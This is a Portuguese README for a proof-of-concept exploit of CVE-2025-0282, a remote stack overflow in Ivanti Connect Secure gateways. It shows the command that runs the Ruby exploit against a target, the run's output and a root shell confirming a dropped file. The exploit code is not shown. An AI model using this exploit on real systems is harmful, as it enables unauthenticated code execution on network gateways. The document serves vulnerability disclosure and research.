
PoC para CVE-2025-0282: um estouro de buffer baseado em pilha remoto não autenticado que afeta Ivanti Connect Secure, Ivanti Policy Secure e Ivanti Neurons para gateways ZTA
Um estouro de buffer baseado em pilha remoto não autenticado afetando Ivanti Connect Secure, Ivanti Policy Secure e Ivanti Neurons para gateways ZTA
Este é um exploit de prova de conceito para demonstrar a exploração de CVE-2025-0282, e é baseado na estratégia de exploração publicada por watchTowr.
Este PoC possui uma cadeia ROP construída para atingir Ivanti Connect Secure 22.7r2.4. Nenhuma outra versão pode ser alvo sem primeiro construir a cadeia ROP correspondente para essa versão alvo.
Este PoC possui uma carga útil que executará um comando do sistema operacional para criar um arquivo temporário no sistema alvo. É assim que você sabe que o exploit foi bem-sucedido. A execução de código é alcançada com os privilégios do usuário não root nr.
Podemos executar este script contra um alvo Ivanti Connect Secure vulnerável, versão 22.7r2.4, da seguinte forma:
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
Se o exploit for bem-sucedido, ele gravará um novo arquivo no diretório temporário /var/tmp/, com um valor numérico correspondente à iteração da tentativa de exploração como parte do nome do arquivo.
Em um shell root separado no dispositivo alvo (que estabelecemos ao fazer jailbreak do appliance), podemos observar quando o exploit foi bem-sucedido:
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
Podemos ver neste exemplo que o exploit fez 190 tentativas falhas e foi bem-sucedido na 191ª tentativa. Portanto, neste exemplo, a exploração deste alvo foi bem-sucedida em 34 minutos.